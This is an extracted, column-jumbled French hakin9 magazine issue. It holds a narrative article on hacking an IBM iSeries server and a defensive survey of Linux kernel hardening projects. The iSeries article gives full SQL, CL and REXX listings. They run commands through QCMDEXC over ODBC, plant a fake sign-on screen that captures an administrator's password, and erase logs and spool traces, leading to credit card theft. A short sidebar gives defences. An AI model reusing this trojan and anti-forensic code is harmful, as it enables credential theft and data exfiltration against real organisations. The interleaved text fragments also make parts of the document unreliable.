Listing 5. Programme monpwd1c résultant du Listing 4 pgm wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact) cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) dspsbsd sbsd(qinter) output(*print) cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) endpgm
de crédit. Reste à savoir si Jules a accès au fichier de base de données XACC. Il décide d'abord de vérifier s'il a accès à la bibliothèque APLIBF où se trouverait le fichier avec les données des cartes de crédit. Il sait que, quand on vérifie les autorisations d'accès à un fichier, l'iSeries vérifie l'autorisation d'accès à la fois pour la bibliothèque et pour le fichier ; par conséquent, si le fichier se trouve dans une librairie bloquée, il est possible qu'une alerte de sécurité soit générée tandis qu'en vérifiant d'abord la bibliothèque, on évite le risque d'alerte.
Contourner les restrictions associées aux utilisateurs limités
Jules ne peut utiliser de session telnet interactive car le compte dont
24
hakin9 Nº 2/2006
il se sert, NANAFTP, est celui d'un utilisateur limité. Un utilisateur limité ne peut quasiment rien exécuter en ligne de commande, y compris quand l'ACL l'y autorise. Une autre restriction est que l'utilisateur limité ne peut exécuter de commandes via le serveur FTP (commande quote rcmd) ou via REXEC. Mais rien n'empêche l'utilisateur limité d'exécuter des commandes logées dans des programmes d'applications. Et cela inclut les procédures stockées. Jules exploite la possibilité d'appeler tout programme iSeries via ODBC comme s'il s'agissait d'une procédure stockée. Il décide d'utiliser l'API qcmdexc, qui, si les paramètres corrects sont fournis, exécute des commandes iSeries. L'API qcmdexc requiert une chaîne de commande correcte et un nombre décimal équivalent à la longueur exacte de la
www.hakin9.org
chaîne de commande. La commande exécutée par Jules via qcmdexc affiche la liste ACL d'un objet à l'écran ; utilisée avec l'option output(*outfile), elle crée une nouvelle table de base de données contenant la liste ACL. Jules utilise la bibliothèque QGPL pour stocker les résultats intermédiaires de ses recherches. Cette bibliothèque est présente sur pratiquement tout serveur iSeries ou AS/400 et, sur bon nombre d'entre eux, les droits publics paramétrés par défaut pour cette bibliothèque, allow changes (lecture/écriture), n'ont pas été modifiés. call qcmdexc
§
('dspobjaut obj(aplibf) objtype(*lib)
§
output(*outfile)
§
outfile(qgpl/dspobjp)', 0000000074.00000)
§ §
Jules inspecte le contenu du fichier créé : select oausr, oaobja, oaname, oalib, oatype, oaown from qgpl.dspobjp;
Les résultats sont affichés dans le Tableau 4.
Pirater un serveur iSeries d'IBM
Listing 6. SQL pour la création du script rexx /* creation of a source member to contain the rexx program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd3x) srctype(rexx)', 0000000052.00000) create alias qgpl.al03 for qgpl/qclsrc (monpdw3x) /* insertion of the rexx statements into the source member */ insert into qgpl.al03 (srcdta) values('arg p1') with nc insert into qgpl.al03 (srcdta) values('parse var p1 user password') with nc insert into qgpl.al03 (srcdta) values('address execsql') with nc insert into qgpl.al03 (srcdta) values('''execsql set transaction isolation level nc'' ') with nc insert into qgpl.al03 (srcdta) values('''execsql insert into qgpl/qmonpwd (u,p) '', ') with nc insert into qgpl.al03 (srcdta) values(' ''values(''''''user'''''',''''''password'''''')''') with nc /* fix source sequence numbers */ update qgpl.al03 al03 set srcseq=rrn(al03) with nc
Listing 7. Programme REXX monpwd3x résultant du listing 6 arg p1 parse var p1 user password address execsql 'execsql set transaction isolation level nc' 'execsql insert into qgpl/qmonpwd (u,p) ', 'values('''user''','''password''')'
Il est quasiment certain que Jules n'a pas de droit d'accès sur la bibliothèque APLIBF et son contenu. Par contre, l'utilisateur BOGUS possède
Se souvenant d'une séance humiliante où Balthazar lui avait remonté les bretelles en public pour avoir dépassé son quota de courrier électronique, Jules décide de pirater le compte BOGUS faisant ainsi d'une pierre deux coups.
Élévation du niveau des privilèges
ce droit. Une recherche rapide dans l'annuaire Active Directory révèle à Jules que BOGUS est Balthazar Ogus, l'administrateur système de l'iSeries.
Voilà une semaine que Jules s'est lancé dans ses investigations et l'absence de réaction du département informatique l'encourage à poursuivre. Craquer
Listing 8. SQL pour la création du programme d'écran piégé /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd2c) srctype(clp)', 0000000051.00000) create alias qgpl.al02 for qgpl/qclsrc (monpdw2c) /* insertion of the CL statements into the source member */ insert into qgpl.al02 (srcdta) values('pgm parm(&devname)') with nc insert into qgpl.al02 (srcdta) values('dclf qdsignon') with nc insert into qgpl.al02 (srcdta) values('dcl var(&text) type(*char) len(80) ') with nc insert into qgpl.al02 (srcdta) values('monmsg msgid(cpf0000) exec(goto cmdlbl(error))') with nc insert into qgpl.al02 (srcdta) values('rtvneta sysname(&sysname)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&sbsname) value(''QINTER'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&in01) value(''1'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(©right) value('' (C) ACME +') with nc insert into qgpl.al02 (srcdta) values(' CORPORATION. 1949, 2001.'') ') with nc insert into qgpl.al02 (srcdta) values('retry:') with nc insert into qgpl.al02 (srcdta) values('ovrdspf file(qdsignon) dev(&devname) waitfile(32767)') with nc insert into qgpl.al02 (srcdta) values('panel: ') with nc insert into qgpl.al02 (srcdta) values('sndrcvf rcdfmt(signon)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&text) value(&userid *bcat &passwrd)') with nc insert into qgpl.al02 (srcdta) values('strrexprc srcmbr(monpwd3x) srcfile(shalomc1/qpwdsrc) parm(&text)') with nc insert into qgpl.al02 (srcdta) values(' return') with nc insert into qgpl.al02 (srcdta) values('error: ') with nc insert into qgpl.al02 (srcdta) values('dlyjob dly(10)') with nc insert into qgpl.al02 (srcdta) values('goto cmdlbl(retry)') with nc insert into qgpl.al02 (srcdta) values('endpgm ') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al02 al02 set srcseq=rrn(al02) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd2c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000)
§
www.hakin9.org
hakin9 Nº 2/2006
25
Dossier
un mot de passe en utilisant la technique de la force brute n'est pas possible dans l'environnement iSeries parce que cette méthode désactive l'utilisateur après un nombre limité d'essais et requiert une intervention manuelle pour réactiver l'utilisateur. Jules ne souhaite pas se faire remarquer de cette manière. Il a un autre plan : amener Balthazar à communiquer son mot de passe à un programme que lui, Jules, va écrire.
À la pêche d'informations sur la cible
Jules projette d'écrire un programme qui affichera un écran de connexion piégé pour BOGUS. Le programme doit utiliser un écran qui sera la réplique exacte de l'écran de connexion ordinaire de BOGUS afin de ne pas éveiller les soupçons de ce dernier. Jules a besoin de plusieurs informations et il commence par chercher le nom des postes de travail ordinairement utilisés par BOGUS. Ces informations sont contenues dans le rapport Work with User Jobs (voir la Figure 16). Ce rapport ne fournit pas d'option d'enregistrement dans un fichier de base de données mais l'iSeries dispose d'un outil, CPYSPLF, qui permet de copier une sortie d'imprimante (un spoule) présente dans la queue d'impression dans un fichier de base de données plat. Une autre donnée dont Jules a besoin est le nom du fichier d'écran de connexion interactive du sous-système d'affichage pour que l'écran piégé paraisse réel. Cette donnée figure sur la première page du rapport Display Subsystem Description (voir la Figure 17). Jules doit utiliser l'outil CPYSPLF. Cette fois-ci, Jules ne peut plus simplement exécuter ces commandes via l'API QCMDEXC comme il l'avait fait précédemment. La sortie imprimée d'une connexion ODBC est créée par un job distinct et, en raison de limites propres à CPYSPLF, Jules doit exécuter toutes les commandes au moyen d'un seul job. Aussi, Jules crée-t-il un programme en CL qui contient le script d'exécution de toutes les commandes ; il soumettra ce programme en tant que job unique et distinct à exécuter en
26
hakin9 Nº 2/2006
Listing 9. Programme de capture monpwd2c résultant du listing 8 pgm parm(&devname) dclf qdsignon dcl var(&text) type(*char) len(80) monmsg msgid(cpf0000) exec(goto cmdlbl(error)) rtvneta sysname(&sysname) chgvar var(&sbsname) value('QINTER') chgvar var(&in01) value('1') chgvar var(©right) value(' (C) ACME + CORPORATION. 1949, 2001.') retry: ovrdspf file(qdsignon) dev(&devname) waitfile(32767) panel: sndrcvf rcdfmt(signon) chgvar var(&text) value(&userid *bcat &passwrd) strrexprc srcmbr(monpwd3x) srcfile(qgpl/qclsrc) parm(&text) return error: dlyjob dly(10) goto cmdlbl(retry) endpgm
Mesures de protection contre l'élévation des privilèges Nous avons déjà mentionné le fait que l'accès ODBC au serveur iSeries est largement ouvert chez Trupex. Conjuguez cela avec la disponibilité de l'API QCMDEXC et vous ouvrez un boulevard aux manipulations. QCMDEXC devrait être protégé par une ACL spécifique, qui en restreint l'accès aux seuls utilisateurs et applications qui en ont vraiment besoin. La fonction d'audit de la sécurité, désactivée chez Trupex, peut être configurée pour consigner toute création d'un nouvel objet, tels les programmes nouvellement compilés, ainsi que l'utilisation de commandes particulières comme CRTCLPGM. L'audit peut aussi journaliser tous les accès aux fichiers particulièrement sensibles, par exemple ceux des cartes de crédit, y compris pour les accès en lecture. Idéalement, l'autorisation d'accès à des données aussi sensibles est limitée à des comptes utilisateurs privés de toute capacité de connexion tandis que l'accès est géré par des programmes qui disposent du type d'autorisation (authority) adéquat. Une autre erreur de configuration de Balthazar est l'octroi de droits publics sur ses terminaux. Les utilisateurs qui disposent de droits étendus (powerful users) devraient être circonscrits à des périphériques déterminés et les droits publics devraient être supprimés pour ces périphériques afin d'éviter des attaques du genre de celle décrite dans cet article.
Sur Internet • • • • • • •
http://www.midrange.org – Liste de diffusion sur l'AS/400 : consultez les archives (en anglais) http://krypton.mnsu.edu/~j3gum/web/as400/intref.html – Introduction à l'AS/400 datant de 2003 mais toujours valable (en anglais) http://publib.boulder.ibm.com/iseries/ – IBM iSeries Information Center, une lecture incontournable (une partie des informations est accessible en français) http://www.woevans.com – Wayne O. Evans, liste de contrôle pour l'audit (en anglais) http://www.powertech.com/promotions/p-formitj2.html – PowerTech's iSeries security survey, enquête de PowerTech sur la sécurité d'iSeries (en anglais) http://publib.boulder.ibm.com/iseries/v5r2/ic2924/books/c4153026.pdf – Manuel de référence IBM iSeries Security reference (en anglais) http://www.venera.com – Consultez la section des liens, qui comporte un grand nombre de liens supplémentaires concernant la sécurité d'iSeries (en anglais)
www.hakin9.org
Pirater un serveur iSeries d'IBM
mode batch (voir les Listings 4 et 5). Les étapes nécessaires : •
• • • • •
création d'un membre source qui contiendra la source du programme CL ; création d'un fichier plat pour la commande CPYSPLF ; insertion des instructions CL dans le membre source ; compilation du programme CL ; soumission du programme compilé en mode batch ; extraction des résultats.
Cette méthode convient parce qu'un fichier source est en réalité une table de base de données avec un attribut spécial et qu'il peut être écrit et lu avec SQL. Pour placer son code, Jules sélectionne QCLSRC, un fichier source que l'on trouve ordinairement dans la bibliothèque QGPL. Jules affiche le contenu du fichier SPLFCPY (Figures 16 et 17) et constate que BOGUS utilise habituellement deux terminaux : UKTBOGUS01 et UKTBOGUS02. Il peut
Figure 16. Rapport Work with User Jobs
Figure 17. Rapport Display Subsystem Description à présent écrire le code nécessaire pour afficher un écran piégé sur un de ces terminaux. Quelques opérations préalables sont nécessaires. Jules crée une nouvelle table de base de données dans laquelle il conservera le mot de passe capturé :
monpwd2c, Jules actualise les données d'état du poste de travail pour BOGUS et constate que le terminal UKTBOGUS02 est libre. Il soumet le programme monpwd2c en mode batch avec le paramètre de nom de terminal correct et rentre chez lui : call qcmdexc
À propos de l'auteur
Né à Varsovie (Pologne) Shalom Carmel vit et travaille aujourd'hui en Israël. Son parcours professionnel couvre l'implémentation de grands projets PGI, le marketing web, l'enseignement supérieur, la conception graphique et l'édition vidéo ainsi que d'innombrables missions de conseil dans le domaine de la sécurité, des technologies et des systèmes d'information. Aujourd'hui, il est architecte d'applications dans une multinationale pharmaceutique. En 2005.
À propos du livre Hacking iSeries
La table des matières et le premier chapitre de l'ouvrage peuvent être consultés sur hakin9.live. Le livre peut être acheté chez http://www.venera.com/ order.htm. Les lecteurs de hakin9 bénéficient d'une remise de 15 % sur le prix officiel de 39, 90 USD s'ils saisissent le code de coupon hakin9 dans le champ Coupon Code du formulaire de commande.
create table qgpl.qmonpwd
§
('sbmjob cmd(
§
(u char (10 ) not null with default,
call pgm(qgpl/monpwd2c)
p char (10 ) not null with default);
parm(UKTBOGUS02))
Le programme d'écran piégé sera écrit en CL, or CL ne peut écrire dans la base de données. Jules à besoin d'un script complémentaire qui écrira le mot de passe capturé dans la nouvelle table qmonpwd. Il découvre que, comme toute machine de production adéquate, cet iSeries n'a pas de compilateur RPG, aussi se tourne-t-il vers REXX (voir le Listing 6). Le programme CL est présenté dans le listing 8. Il tente d'associer un fichier d'affichage à un terminal et ne réussit que si le périphérique n'est pas alloué à un autre utilisateur, en d'autres termes s'il affiche l'écran de connexion ordinaire. Le programme attendra le délai d'attente maximal possible pour un périphérique, soit 32 767 secondes ou environ 9 heures. Quand ce délai sera atteint, le programme réessayera à l'infini. L'horloge affiche 23 h. Avant de lancer le programme de capture
www.hakin9.org
log(0 0 *nolist) logclpgm(*no)
§
dspsbmjob(*no)' , 0000000098.00000)
§ §
§
§
Quand Balthazar arrive le lendemain matin, après avoir lu le gag Dilbert du jour, il se connecte à l'iSeries pour vérifier l'état du système. Il tape son nom d'utilisateur et son mot de passe dans les zones appropriées de l'écran et enfonce la touche Retour. Rien ne se passe à l'écran. Balthazar cligne des yeux, retape ses données et se connecte cette fois-ci sans problème. Jules est nerveux toute la journée. A 18 h, il se reconnecte en tant que NANAFTP, récupère le mot de passe de BOGUS dans le fichier qmonpwd, se connecte ensuite en tant que BOGUS, récupère les données de onze mille cartes de crédit dans un fichier Excel, enregistre le fichier sur une clé et à 19 h 30, quitte Trupex pour la dernière fois de sa vie. Fin de la partie. l
hakin9 Nº 2/2006
27
Sécurité de Linux – revue des projets Focus Michał Piotrowski
Degré de difficulté
Les systèmes de la famille Linux sont assez résistants aux infractions. Cependant, dans certaines situations, quand on tient particulièrement à un niveau de sécurité élevé de l'ordinateur, les distributions standards ne sont pas suffisantes. Analysons quelques mécanismes les plus utilisés afin d'augmenter la sécurité de Linux au niveau du noyau.
L
a plupart des intrusions dans les systèmes Linux sont dues aux erreurs dans les programmes. Le plus souvent, les intrus exploitent les failles permettant le débordement de tampon (de la pile et du tas), le traitement incorrect des chaînes de format et la présence des situations de compétition? Les attaques exploitant les droits d'accès mal définis aux ressources système et les erreurs dans les mécanismes et les protocoles réseau sont plus rares. Les mécanismes additionnels de protection des systèmes Linux peuvent être divisés en quatre groupes : • • • •
protégeant la mémoire dans le noyau du système, protégeant la mémoire dans le compilateur, permettant la surveillance de l'accès au système (contrôle d'accès), autres (utilisant la randomisation, les limitations détaillées de l'accès, la journalisation des évènements ayant lieu dans le système, etc.).
Openwall
Le projet Openwall a été conçu par Alexander Peslyak, surnommé aussi Solar Designer. Il est aussi auteur de l'outil de décryptage des mots de passe John the Ripper et de la distribution Owl. Au début, Openwall s'appelait Secure Linux Patch. Sa première version est parue déjà en janvier 1998 et était appliquée aux noyaux de la série 2.0. Le correctif est toujours développé, mais
Cet article explique... • • • •
Ce qu'il faut savoir... • •
Le Tableau 1 affiche les solutions présentées divisées suivant les groupes ci-dessus.
28
hakin9 Nº 2/2006
quels mécanismes additionnels peuvent augmenter la sécurité de Linux, en quoi consiste la protection supplémentaire et contre quels dangers l'on se protège, quels mécanismes choisir pour les applications concrètes, comment les installer et utiliser.
www.hakin9.org
les notions de base de l'administration des systèmes de la famille Linux, les notions de base concernant la sécurité des systèmes d'exploitation et des réseaux.
Revue des mécanismes augmentant la sécurité de Linux
Tableau 1. Les solutions augmentant la sécurité du système Linux Groupe
Openwall
PaX
Protection de la mémoire dans le noyau
Oui
Oui
StackGuard
Oui
Contrôle d'accès
Mécanismes de protection
Openwall offre quelques mécanismes de protection. Les plus importants
grsecurity
Oui
•
•
empêcher l'exécution du code sur la pile du processus (ce qui retient la plupart des exploits basés sur le débordement de tampon), randomiser les adresses des fonctions des bibliothèques partagées
le segment du code (contient le code exécutable du programme), le segment des données (contient les variables statiques et globales), la pile (comprend les données temporaires – variables locales et paramètres des fonctions), le tas ( comprend les données temporaires, affectées et libérées par le programme de façon voulue, par exemple à l'aide de la fonction malloc()).
La mémoire comprend aussi la mappe des fonctions rendues accessibles au programme, provenant des bibliothèques partagées, par exemple printf(), system(), etc. Le noyau standard de Linux affecte aux segments des droits d'accès trop élevés. Ainsi, sur la pile il devient possible non seulement d'enregistrer les données, mais aussi d'exécuter du code ce qui permet d'effectuer les attaques de type débordement de tampon (en anglais buffer overflow). Pour protéger le système contre ces attaques, les mécanismes supplémentaires modifient les droits d'accès standards des segments mémoire spécifiques. Le processus obtient les droits soit en écriture soit en exécution du code qui est présent dans la mémoire. Par exemple, la pile devient non exécutable (en anglais non-executable). Pourtant, la pile non exécutable peut aussi être exploitée pour effectuer des attaques. Ces attaques sont appelées retour à la bibliothèque libc (en anglais return to libc). Elle consiste à créer sur la pile l'appel correct à une fonction partagée – le plus souvent, la fonction system() avec le paramètre /bin/sh. En résultat, l'intrus transmet la commande à la fonction indiquée qui lance le shell système ou exécute d'autres opérations. Pour que l'attaque réussisse, l'assaillant doit quand même connaître l'adresse de la fonction system() dans la mémoire du processus. C'est le deuxième mécanisme qui l'empêche – la randomisation. Grâce à celle-ci, les segments spécifiques de la mémoire et les adresses des fonctions partagées sont disposées de façon différente à chaque démarrage du programme. L'intrus n'est donc pas capable de prévoir les adresses correctes des fonctions partagées, et de même, il n'est pas capable de les appeler.
www.hakin9.org
RSBAC Oui (contientPaX)
Oui
sont (Encadré Protection de la mémoire dans le noyau) :
Pour protéger la mémoire du processus dans le noyau du système, deux principaux mécanismes sont utilisés. Le premier permet d'affecter à la zone mémoire sélectionnée les droits en écriture seule ou en exécution du code. Le second introduit la randomisation. La mémoire des programmes lancés par le système d'exploitation est composée de plusieurs éléments appelés segments :
•
SELinux
Oui
Protection de la mémoire dans le noyau
• • •
LIDS
Oui (contientPaX)
Protection de la mémoire dans le compilateur
la version pour les noyaux de la série 2.6 n'existe pas encore. L'auteur trouve que le transfert du mécanisme vers le nouveau noyau aura le sens quand la version 2.6.20 sera publiée.
SSP
Oui
Oui
(ce qui empêche les attaques de retour à la bibliothèque libc). D'autres mécanismes limitent la construction des liens physiques (hard links en anglais) et l'écriture sur les canaux nommés (en anglais named pipes) dans les répertoires avec le bit +t paramétré, c'est-à-dire dans les répertoires temporaires (par exemple /tmp). Les utilisateurs ordinaires ne peuvent pas créer des liens aux fichiers qui n'appartiennent pas à eux ou auxquels il n'ont pas de droits en lecture et en écriture. Ils ne peuvent pas non plus enregistrer des données dans les fichiers FIFO dont ils ne sont pas propriétaires. Le correctif limite aussi la possibilité de lire les informations sur le système à partir du répertoire /proc par un utilisateur ordinaire, à moins qu'il n'appartienne pas à un groupe spécial. L'utilisateur peut donc obtenir les informations sur ses propres processus. Il empêche aux utilisateurs de démarrer les services réseaux ayant les adresses IP déterminées (uniquement dans le noyau de la série 2.0). Il impose aux programmes avec le bit SUID ou SGID paramétré l'emploi spécial des descripteurs d'entrée standard, de sortie standard et d'erreurs standard (dans les noyaux de la série 2.0 et 2.2). Il permet aussi de libérer les zones de la mémoire partagée non utilisées.
Installation
Pour installer Openwall, il faut : • • • •
mettre à jour les sources du noyau, appliquer le correctif, configurer le noyau, compiler le noyau.
hakin9 Nº 2/2006
29
Focus
Protection de la mémoire dans le compilateur
Figure 1. La protection de la pile au moyen de PaX Pour profiter de certaines fonctions d'Openwall avec les versions non standard de la bibliothèque glibc et des programmes des paquets procps ou psmisc, une mise à jour peut être nécessaire. Le correctif est accompagné du programme chstk permettant de désigner les programmes ayant droit d'exécuter du code sur la pile. Il positionne le drapeau dans l'en-tête ELF, et pendant la création d'un nouveau processus, le système vérifie la présence du drapeau et affecte les droits appropriés.
PaX
Le projekt PaX peut être appliqué dans les systèmes avec les noyaux des séries 2.2, 2.4 et 2.6. Il a été créé en octobre 2000, mais interrompu en avril 2005, après la révélation d'une faille grave permettant de contourner les principaux mécanismes de protection. Les auteurs ont constaté que les utilisateurs ont perdu confiance à PaX et ont renoncé à ce projet. C'est l'auteur de grsecurity, Brad Spengler, qui s'occupe maintenant du code de ce projet.
Mécanismes de protection
PaX offre les mécanismes similaires à ceux d'Openwall : il empêche l'exécution du code dans la mémoire et randomise l'espace adessable du processus. Mais ces mécanismes diffèrent un peu de ceux offerts par le projet concurrentiel. La protection de la mémoire dans PaX embrasse non seulement la pile.
30
hakin9 Nº 2/2006
Chaque segment (cf. l'Encadré Protection de la mémoire dans le noyau) possède les droits séparés permettant soit l'écriture, soit l'exécution. L'administrateur peut également choisir la technique : PAGEEXEC (protection par pagination) ou SEGMEXEC (protection par segmentation). Le deuxième mécanisme permet de placer tous les éléments de la mémoire de façon aléatoire. Cela empêche l'exécution de l'attaque par retour à la bibliothèque libc. La Figure 1 compare la mémoire d'un processus dans le système standard et dans le système protégé par PaX.
Installation
Pour installer PaX, il faut : • • • • •
mettre à jour les sources du noyau, appliquer le correctif, configurer le noyau, compiler le noyau, compiler et installer les outils chpax et paxctl
Les programmes chpax et paxctl permettent de configurer les programmes exécutables de façon à ce que ces derniers utilisent la protection ou la contournent. C'est très utile si nous utilisons les applications non standard qui fonctionnent mal après l'application des limitations dans la mémoire. Les outils se servent de deux méthodes différentes de surveillance des programmes exécutables. Le programme paxctl utilise une méthode
www.hakin9.org
La protection des mécanismes d'un processus dans le compilateur est très simple. Elle consiste à ajouter au compilateur des mécanismes qui, lors de la construction du programme, ajoutent à celui-ci du code assurant la protection de la pile contre l'endommagement. La protection de la pile est basée sur la modification de la trame de la pile (en anglais stack frame), c'est-àdire de la structure utilisée pour stocker les données temporaires, relatives aux fonctions appelées. La modification consiste à introduire une variable de contrôle appelée canari (en anglais canary) mise juste avant l'adresse de retour de la fonction. L'endommagement de la pile et le remplacement de l'adresse de retour entraîneront la modification du canari, ce qui mène à la fermeture d'urgence de l'application et empêche l'appel du shellcode.
plus binutils. La deuxième manière (outil chpax) influence moins la configuration actuelle du système et ressemble à la solution utilisée dans Openwall. Elle exploite le champ existant réservé de l'en-tête ELF. La première façon intègre mieux PaX au système d'exploitation. Elle permet aussi de servir de ce qu'on appelle mode de travail souple, quand toutes les fonctions augmentant la sécurité sont désactivées et pour pouvoir en profiter, il faut les démarrer indépendamment pour chaque programme.
StackGuard
StackGuard est une extension du compilateur GCC. Il a été conçu par la société Immunix en 1997. Les techniques utilisées dans ce projet étaient si intéressantes que lors de la conférence GCC 2003 Summit on a proposé de les intégrer dans la version de base du compilateur. Hélas, ce projet n'a pas été réalisé dans les versions 3.x et 4.0, étant donné que GCC 4.1 contient les mécanismes de protection pris de SSP (cf. dans la suite). Les travaux sur le projet ont été interrompus, il doit donc être considéré plutôt comme une curiosité
Revue des mécanismes augmentant la sécurité de Linux
Listing 1. Le programme présentant la protection de la mémoire dans le compilateur (cf. Figure 2 et 3) char *func(char *msg, int a) { int var1; char buff[10]; int var2; ... } int main(int argv, char *argc[]) { char *p; p = func(argc[1]); exit(0); }
(nous ne présentons pas donc du processus de l'installation). C'était le premier outil implantant la protection de la mémoire du côté de l'application qui est devenu le point de départ pour d'autres projets de ce type.
Figure 2. La protection de la pile à l'aide de StackGuard
Mécanismes de protection
StackGuard exploite le mécanisme de canari pour protéger la mémoire du processus. Mais la technique utilisée ne garantit pas la protection complète. Le canari est placé à l'endroit où il ne protège que l'adresse de retour stockée dans la trame de la pile. D'autres éléments de la trame ne sont pas protégés. La Figure 2 présente la pile du programme du Listing 1 avant et après l'application de StackGuard. Dans la partie droite de la figure, on peut voir qu'avant chaque adresse de retour, une variable de contrôle a été ajoutée. Une attaque visant à déborder le tampon var2 ne sera pas réussie parce qu'elle entraîne le remplacement de tous les champs dans le sens des adresses croissantes. Une modification de l'adresse du retour de la fonction func() sera détectée, mais l'assaillant n'a pour but que les variables buf et var1 et les pointeurs de la trame, le programme continuera à fonctionner. Dans les versions ultérieures de StackGuard, le canari a été déplacé avant le pointeur de la trame de pile. Cette opération a permis de protéger aussi ce champ, mais ne garantit pas
Figure 3. La protection de la pile à l'aide de SSP l'intégrité des autres variables locales de la fonction.
SSP
Stack-Smashing Protector (SSP), connu auparavant sous le nom ProPolice, est, du point de vue de la conception, similaire à StackGuard,
www.hakin9.org
mais il est plus avancé. Son auteur est Hiroaki Etoh. Actuellement, SSP est à ajouter à GCC, mais à partir de la version 4.1, il y sera intégré.
Mécanismes de protection
Stack-Smashing Protector protège la pile du processus (l'adresse de
hakin9 Nº 2/2006
31
Focus
retour, les variables locales, les arguments des fonctions et le pointeur de la trame) par le biais de trois techniques. Chacune d'elles peut être activée ou désactivée séparément lors de la compilation du programme : • • •
la valeur de contrôle (canari), la modification du système de variables, la copie des arguments.
Le premier fonctionne de la même façon que dans StackGuard. Le canari est mis avant le pointeur de la trame de la pile. Le deuxième entraîne la modification de l'ordre du placement des variables des fonctions locales sur la pile. Les variables de caractère, vulnérables aux débordements, sont mises entre les variables nombre et la valeur de contrôle. Ainsi, le débordement de l'une d'elles n'endommage pas les variables locales. Le troisième mécanisme protège les arguments de la fonction dont les copies sont placées sur la pile à côté des variables locales et utilisées au lieu des arguments originaux. L'application de tous les trois mécanismes rend difficile le débordement de tampon dans le programme protégé. La partie droite de la Figure 3 présente la pile du programme après l'application de SSP.
Installation
L'installation de SSP consiste à ajouter un correctif au compilateur GCC. Le programmeur obtient quatre options supplémentaires : -fstackprotector, -fno-stack-protector, -fstack-protector-all et -fno-stackprotector-all. Elles permettent d'activer ou de désactiver la protection de la pile ou de toutes les fonctions (pas seulement celles exploitant les tableaux de caractères).
grsecurity
Grsecurity est un projet créé en février 2001 et développé jusqu'à présent par Brad Spengler connu sous le nom Spender. Au début, grsecurity était une version d'Openwall pour les noyaux de la série 2.4, mais l'outil a été vite transformé en une solution
32
hakin9 Nº 2/2006
Contrôle de l'accès dans les systèmes d'exploitation Les systèmes d'exploitation les plus populaires intègrent les mécanismes du contrôle de l'accès basés sur le modèle discrétionnaire (en anglais Discretionary Access Control, DAC). Chaque sujet (utilisateur, processus) a toute autorité sur les objets (fichiers, répertoires, périphériques) dont il est propriétaire. Il peut changer les droits d'accès actuels à ses ressources, les modifier et supprimer. De plus, dans le système existe un superutilisateur (root) qui joue le rôle d'administrateur. Il a les droits d'accès illimités à toutes les ressources de l'ordinateur et peut faire pratiquement tout. Alors, si l'intrus a accès au compte de root, il a un accès illimité au système. Dans le modèle non discrétionnaire (en anglais Mandatory Access Control, MAC), l'administrateur a toujours les droits d'accès les plus élevés au système d'exploitation. Mais c'est lui qui détermine les règles d'accès et les impose à tous les sujets. Le modèle MAC introduit alors la centralisation de la gestion du contrôle d'accès, contrairement au modèle décentralisé DAC. Les droits d'accès des utilisateurs sont limités par les règles définies et les utilisateurs n'ont pas le plein contrôle de leurs fichiers, répertoires, etc. Le modèle MAC a été conçu pour les besoins des systèmes nécessitant la protection rigoureuse de la confidentialité des données et est utilisé en général dans les milieux militaires. Ce qui est curieux, la politique de droits d'accès peut aussi concerner le superutilisateur qui, à la suite, perd certains de ses droits. Alors, si l'intrus obtient l'accès à son compte, il ne pourra pas, par exemple, copier ou modifier certaines données (par exemple les sites Web). Les modèles DAC et MAC ont été présentés pour la première fois dans le document TCSEC (Trusted Computer Security Evaluation Criteria), publié par le Département de la Défense américain en 1985. Le troisième modèle très populaire de contrôle d'accès est basé sur les rôles (en anglais Rôles-Based Access Control, RBAC). Il a été présenté en 1992 par David Ferraiolo et Richard Kuhn de l'Institut National des Standards et de la Technologie des États Unis. Dans ce modèle, tous les utilisateurs obtiennent les rôles avec les droits d'accès précisément définis concernant aussi tous les programmes lancés par l'utilisateur donné. Les possibilités des utilisateurs peuvent être limitées de la même manière que dans le modèle MAC, et les tâches du superutilisateur réparties sur plusieurs utilisateurs. Ainsi, le modèle élimine le danger lié à l'obtention par l'intrus de l'accès au compte du superutilisateur ou à un processus fonctionnant avec ses droits. Même si l'attaque réussit, l'intrus n'accédera pas au système entier et aux données stockées. Il faut savoir que RBAC est une variante particulière de MAC et les deux modèles permettent d'obtenir les effets similaires.
indépendante. Aujourd'hui, il est considéré comme l'un des meilleurs mécanismes de protection des systèmes Linux.
compétition dans les répertoires temporaires et augmente les possibilités d'enregistrer des évènements ayant lieu dans le système.
Mécanismes de protection
Installation
Le projet intègre les possibilités d'Openwall et PaX en ce qui concerne la protection de la mémoire avec le contrôle de l'accès basé sur les rôles (cf. l'Encadré Contrôle d'accès dans les systèmes d'exploitation). Il introduit les limitations pour les utilisateurs ordinaires, la randomisation des mécanismes de gestion de processus et de réseaux. Il améliore la sécurité de la fonction chroot et protège contre les situations de
www.hakin9.org
Grsecurity est un correctif appliqué au noyau. Son installation ne diffère donc pas de celles décrites dans les chapitres consacrés à Openwall et PaX. Mais pour profiter de RBAC, il faut installer en plus l'outil servant à configurer le système – gradm. La gestion de la politique du contrôle d'accès est très simple. De plus, gradm apprend le comportement typique des utilisateurs, ce qui permet la création automatique des principales règles d'accès.
Revue des mécanismes augmentant la sécurité de Linux
ACL contre RBAC
